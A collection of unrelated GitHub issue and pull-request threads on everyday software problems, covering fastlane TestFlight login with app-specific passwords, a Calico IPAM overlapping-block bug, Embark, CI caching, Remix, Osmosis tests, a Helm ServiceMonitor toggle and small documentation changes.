It doesn't seem to pick this up correctly though, and errors out with [!] The request could not be completed because: 	Invalid username and password combination. Used<EMAIL_ADDRESS>as the username.
Is this the correct approach?
upload_to_testflight(
  username<EMAIL_ADDRESS>  skip_waiting_for_build_processing: true
)

First of all, am I correct in thinking that uploading to testflight is only possible nowadays with a 2-factor enabled account?

No, under specific circumstances you can also use an Application Specific Password: https://docs.fastlane.tools/actions/pilot/#use-an-application-specific-password-to-upload
Having set the FASTLANE_USER and FASTLANE_PASSWORD variables might confuse the upload_to_testflight though - let me know if the error persists after you followed the documentation link I posted above and I can start investigating deeper if necessary.

@jasperjorna Your use case should totally work. What I would maybe try as well is printing out your environment variables before calling upload_to_testflight to make sure they are being set/loaded correctly.
puts "FASTLANE_USER: #{ENV["FASTLANE_USER"]}"
puts "FASTLANE_PASSWORD: #{ENV["FASTLANE_PASSWORD"]}"
puts "FASTLANE_APPLE_APPLICATION_SPECIFIC_PASSWORD: #{ENV["FASTLANE_APPLE_APPLICATION_SPECIFIC_PASSWORD"]}"

But, now that I think about it... upload_to_testflight might be trying to use<EMAIL_ADDRESS>with your other password in FASTLANE_PASSWORD. You want me to reset FASTLANE_PASSWORD before calling upload_to_testflight with the correct password for your<EMAIL_ADDRESS>account.
Hopefully I'm interpreting what you are explaining correctly 😊

But, now that I think about it... upload_to_testflight might be trying to use<EMAIL_ADDRESS>with your other password in FASTLANE_PASSWORD. You want me to reset FASTLANE_PASSWORD before calling upload_to_testflight with the correct password for your<EMAIL_ADDRESS>account.

Exactly what I was thinking of. Maybe it "prefers" FASTLANE_PASSWORD over FASTLANE_APPLE_APPLICATION_SPECIFIC_PASSWORD in the code. Which wouldn't be too surprising, how should it know which one to use when both are set...

Thanks for the quick replies!
I tried to set FASTLANE_PASSWORD to the one corresponding to the<EMAIL_ADDRESS>account just before calling upload_to_testflight, but I seems like it ignores the FASTLANE_APPLE_APPLICATION_SPECIFIC_PASSWORD and prompts for the 2-factor code.
Additionally, I tried setting ENV['FASTLANE_PASSWORD'] = nil just before upload_to_testflight, but then it just prompts me for the password.

Did you follow an read the link I posted? https://docs.fastlane.tools/actions/pilot/#use-an-application-specific-password-to-upload Only under specific circumstances it can depend on only the app specific password, otherwise it has to do a normal login first which will trigger 2FA if it is enabled for your account.

@jasperjorna Adding on to what @janpio posted above, you need to set the apple_id option (which is the ID that appears in App Store Connect) for it to not prompt you for 2FA

@joshdholtz @janpio I tried to implement it according to the docs as follows:
private_lane :reset_pass do
  ENV['FASTLANE_USER'] = nil
  ENV['FASTLANE_PASSWORD'] = nil
end

reset_pass
upload_to_testflight(
  apple_id: '123456789',
  skip_waiting_for_build_processing: true
)

I'm getting the error:
Please provide your Apple Developer Program account credentials
The login information you enter will be stored in your macOS Keychain
You can also pass the password using the `FASTLANE_PASSWORD` environment variable
See more information about it on GitHub: https://github.com/fastlane/fastlane/tree/master/credentials_manager
-------------------------------------------------------------------------------------
Username:

Small misunderstanding here I guess, you still need a username either via FASTLANE_USER or the username option of upload_to_testflight.

I managed to get it working with the code as follows:
private_lane :reset_pass do
  ENV['FASTLANE_USER'] = nil
  ENV['FASTLANE_PASSWORD'] = nil
end

reset_pass
upload_to_testflight(
  username<EMAIL_ADDRESS>  app_identifier: 'com.foo.bar',
  apple_id: '123456789',
  skip_waiting_for_build_processing: true
)

Thanks for helping out!


IPAM blocks can overlap when IP Pool block size is modified

Expected Behavior
IPAM blocks generated by calico IPAM should not be able to overlap each other, since it enables situations where several pods have the same IP address.
Current Behavior
In the situation described below, we have two IPAM blocks of different sizes that overlap each other, which ends up causing two pods from the same IP Pool to have the same IP address.
Possible Solution
The issue seems to come from findUnclaimedBlock at lib/ipam/ipam_block_reader_writer.go:95
		blocks := randomBlockGenerator(pool, host)
		for subnet := blocks(); subnet != nil; subnet = blocks() {
			// Check if a block already exists for this subnet.
			log.Debugf("Getting block: %s", subnet.String())
			if _, ok := exists[subnet.String()]; !ok {
				log.Infof("Found free block: %+v", *subnet)
				return subnet, nil
			}

A block is considered free if there is no block with the same name (i.e IP+mask) already defined. This part could be adapted to check that the candidate block does not overlap with any existing block.
Steps to Reproduce
Done on a kubernetes cluster with calico IPAM activated, and AutoAllocateBlocks enabled

Create an IP Pool

spec:
  blockSize: 29
  cidr: <IP_ADDRESS>/24

Create some pods in this pool: we now have newly created /29 IPAM blocks

+----------+-------------------+-----------+------------+------------+
| GROUPING |       CIDR        | IPS TOTAL | IPS IN USE |  IPS FREE  |
+----------+-------------------+-----------+------------+------------+
| IP Pool  | <IP_ADDRESS>/24    |       256 | 5 (2%)     | 251 (98%)  |
| Block    | <IP_ADDRESS>/29  |         8 | 4 (50%)    | 4 (50%)    |
| Block    | <IP_ADDRESS>/29   |         8 | 1 (12%)    | 7 (88%)    |
+----------+-------------------+-----------+------------+------------+

Change IP Pool block size to another value

spec:
  blockSize: 26
  cidr: <IP_ADDRESS>/24

Create more pods in the same ip pool until a new /26 block is created with a range overlapping a /29 block

+----------+-------------------+-----------+------------+------------+
| GROUPING |       CIDR        | IPS TOTAL | IPS IN USE |  IPS FREE  |
+----------+-------------------+-----------+------------+------------+

| IP Pool  | <IP_ADDRESS>/24    |       256 | 199 (78%)  | 57 (22%)   |
| Block    | <IP_ADDRESS>/26    |        64 | 41 (64%)   | 23 (36%)   |
| Block    | <IP_ADDRESS>/26  |        64 | 49 (77%)   | 15 (23%)   |
| Block    | <IP_ADDRESS>/29  |         8 | 8 (100%)   | 0 (0%)     |
| Block    | <IP_ADDRESS>/26  |        64 | 45 (70%)   | 19 (30%)   |
| Block    | <IP_ADDRESS>/29   |         8 | 8 (100%)   | 0 (0%)     |
| Block    | <IP_ADDRESS>/26   |        64 | 48 (75%)   | 16 (25%)   |
+----------+-------------------+-----------+------------+------------+

We now have pods in the same pool with the same IP address:

$ kubectl -n ns-one get po -o wide | grep 90.144
somedeploy-5c8fd9c494-cpdqr   1/1     Running   0          2m49s   <IP_ADDRESS>   node007   <none>           <none>
somedeploy-5c8fd9c494-q2hhj   1/1     Running   0          8m56s   <IP_ADDRESS>   node005   <none>           <none>

Your Environment
Bare metal kubernetes cluster deployed with kubespray
Calico version: v3.14.1
ipam definition in cni configuration:
      "ipam": {
        "type": "calico-ipam",
        "assign_ipv4": "true",
        "ipv4_pools": ["<IP_ADDRESS>/24"]
      }

Hey @orange-llajeanne , thanks for bringing this case to our attention. From my understanding, calicoctl should prevent you from changing the block size and CIDR for IP pools to prevent this from happening. I do not think we have a supported way of modifying the block size in already existing IP pools so if you wanted to make changes, you would need to remove the pods assigned to the block, delete the IP pool, and then recreate the IP pool with the desired specifications. Is there a specific reason that you need to edit the block size in an existing IP pool?

Hello, thanks for your answer.
I actually do not have a use case in which I want to dynamically change the block size of an existing pool, i described this situation because this was the most direct way I could find to reproduce this issue.
The situation I am in is the one you described (removing a pool and recreating it with a different size), but it creates the same issue.
However, by reading your comment about calicoctl doing checks when editing/deleting ip pools, I realized that this is where the problem comes from. In my situation I've got code that edits and deletes ip pools directly through the kubernetes IPPool custom resource, without using calicoctl. In this way I was unknowingly avoiding all the verification/cleaning logic contained in calicoctl, causing the mentionned issues.
Can you confirm that editing calico resources directly through the kubernetes client without using calicoctl is not supported / not recommended?

@orange-llajeanne sorry for the late reply. Yeah, it's not recommended to edit the Calico resources directly through the k8s client. Not all of the resources need to be validated like IP pools, but there a few that do. You can generally see the checks done for each resource here.

@orange-llajeanne yes, that's not currently supported. Stay tuned though - I am working on a feature for Calico v3.19 which will enable this sort of workflow!

@orange-llajeanne I'm going to close this issue for now since I believe this is resolved.


Demo example not working due to stuck transactions

When running the demo example with a local testnet (embark blockchain) and submitting a new value, the resulting transaction stays in pending state and the miner fails to stop. Preventing to complete the demo use case.
It seems it might be related to this geth issue with solo miners setups:
https://github.com/ethereum/go-ethereum/issues/3694
Versions:
metamask 3.11.2
geth 1.7.2-stable
embark 2.5.2

the miner changed a lot in embark 3.0 by status, please give it a go :) http://embark.status.im/


Better brew caching

Replaced ~/circleci/repo/data with  ~/repo/data during caching phase. ~/circleci/repo/data is actually tilde expanded to /home/circleci/circleci/repo/data which is a non existent directory. Thus we were not caching anything 💃 .

Brew portion of the install has been split into two parts. One for checking if brew is mechanically installed and another for checking if the brew command can be actually be called.

@KyleBehiels Please review. https://github.com/features/code-review


add support for large directories to file-explorer

@yann300

added .resolveDirectory(...) to files object
removed .list(...) and .listAsTree(...) from files object
refactored project to use .resolveDirectory instead of .list or .listAsTree
fixed bugs related to switching from sync to async api when always delegating to remixd

For the next step I would need the TreeView events for expand/collapse.
Then I could change the FileExplorer to use the new .resolveDirectory(...) to only load what the user requests.
Once I have that, I can remove more code from the files object, because .resolveDirectory is currently recursively fetching everything like .listAsTree did in the past, but on every user click only one level of depths is required. This would get rid of quite some code that I added now to make .resolveDirectory full replacement for listAsTree


Remove unnecessary app.import of moment

Moment is imported manually into the vendor file which stomps all over the version installed by ember-moment via ember-cli-moment-shim. The shim version is preferable as it includes timezones.

Sorry, meant to send this pull to the jose.

No problem :+1:


test(CL Fess): updateFeeAccumulatorPosition

Background
We need to test updateFeeAccumulatorPosition
Suggested Design
Assume a base position with pool id, owner, lower tick, and upper tick
Some test vectors that should be considered relative to base:

updating a position with a different pool id implies updating a different position
updating a position with a different owner implies updating a different position
updating a position with a  different lowe tick implies updating a different position
updating a position with an upper tick implies updating a different position

Basically, we want to test that prefixing is working correctly for positions. We have a related test here:
https://github.com/osmosis-labs/osmosis/blob/a3f80b7b14ad43ba528878833d9d151d15c2a19f/x/concentrated-liquidity/fees_test.go#L103-L120
Also, test that positions accumulator and liquidity are updated correctly.
Acceptance Criteria

tests added
suggested test vectors covered
improve godoc

hello @p0mvn is this free to pick up?

Hi @RusAkh . Thanks for checking in. @mattverse and I are working on fees and have the context. For the speed of iteration, it's best if one of us drives this to completion


Make ServiceMonitor optional

This PR makes the ServiceMonitor introduced with https://github.com/giantswarm/cluster-api-provider-aws-app/pull/225 optional.
It is still enabled by default, but it can be disabled through the helm value serviceMonitor.enabled=false.
This is necessary for example in mc-bootstrap, where the initial bootstrapping vcluster does not have the ServiceMonitor CRD (and we certainly don't want prometheus there).
Checklist

[x] Update changelog in CHANGELOG.md.

Couldn't we go for a check if that API is available? I know that this might now be a good idea if we really want the app installation to fail until that API is available, but well...

Couldn't we go for a check if that API is available? I know that this might now be a good idea if we really want the app installation to fail until that API is available, but well...

I don't dislike that idea at all, but I'm not sure if that would leave to situation where it could "silently fail" (or rather, "silently-not-deploying-the-servicemonitor") in legitimate/non-bootstrap clusters.
I went for the helm value because in the mc-bootstrap script doing the setup of the capi provider charts it's already passing serviceMonitor.enabled=false, so I figured it was a halfway done implementation: https://github.com/giantswarm/mc-bootstrap/blob/d3cda5e26dc83f33aeb8d905885e1e5506632019/scripts/setup-capi.sh#L47-L48


chore(main): release 5.7.0

:robot: I have created a release beep boop
5.7.0 (2024-08-15)
Features

allow using :Yazi commands automatically by default (#377) (9a07ed5)

This PR was generated with Release Please. See documentation.

:robot: Created releases:

v5.7.0
:sunflower:


Add reference to std::string

Added reference to std::string in about.md, introduction.md and hints.md

While you were working on this, there was a change in the exercism configuration.
To pass the tests, you have to change /config.json's line 19 from 2.0 to 2.
https://github.com/exercism/cpp/blob/d883671c978291a1c1612ea018510743ea78ced2/config.json#L19
Sorry for the inconvenience.

BTW, i got to see a message from the github.
I'm interested to add more concepts to to this language path, am i allowed to do that ?

@Tamilanth
Concepts are a bit of a difficult and complex topic. Hit me up on the exercism discord server, so I can explain what I planned so far, okay?

Closes #643

Sure !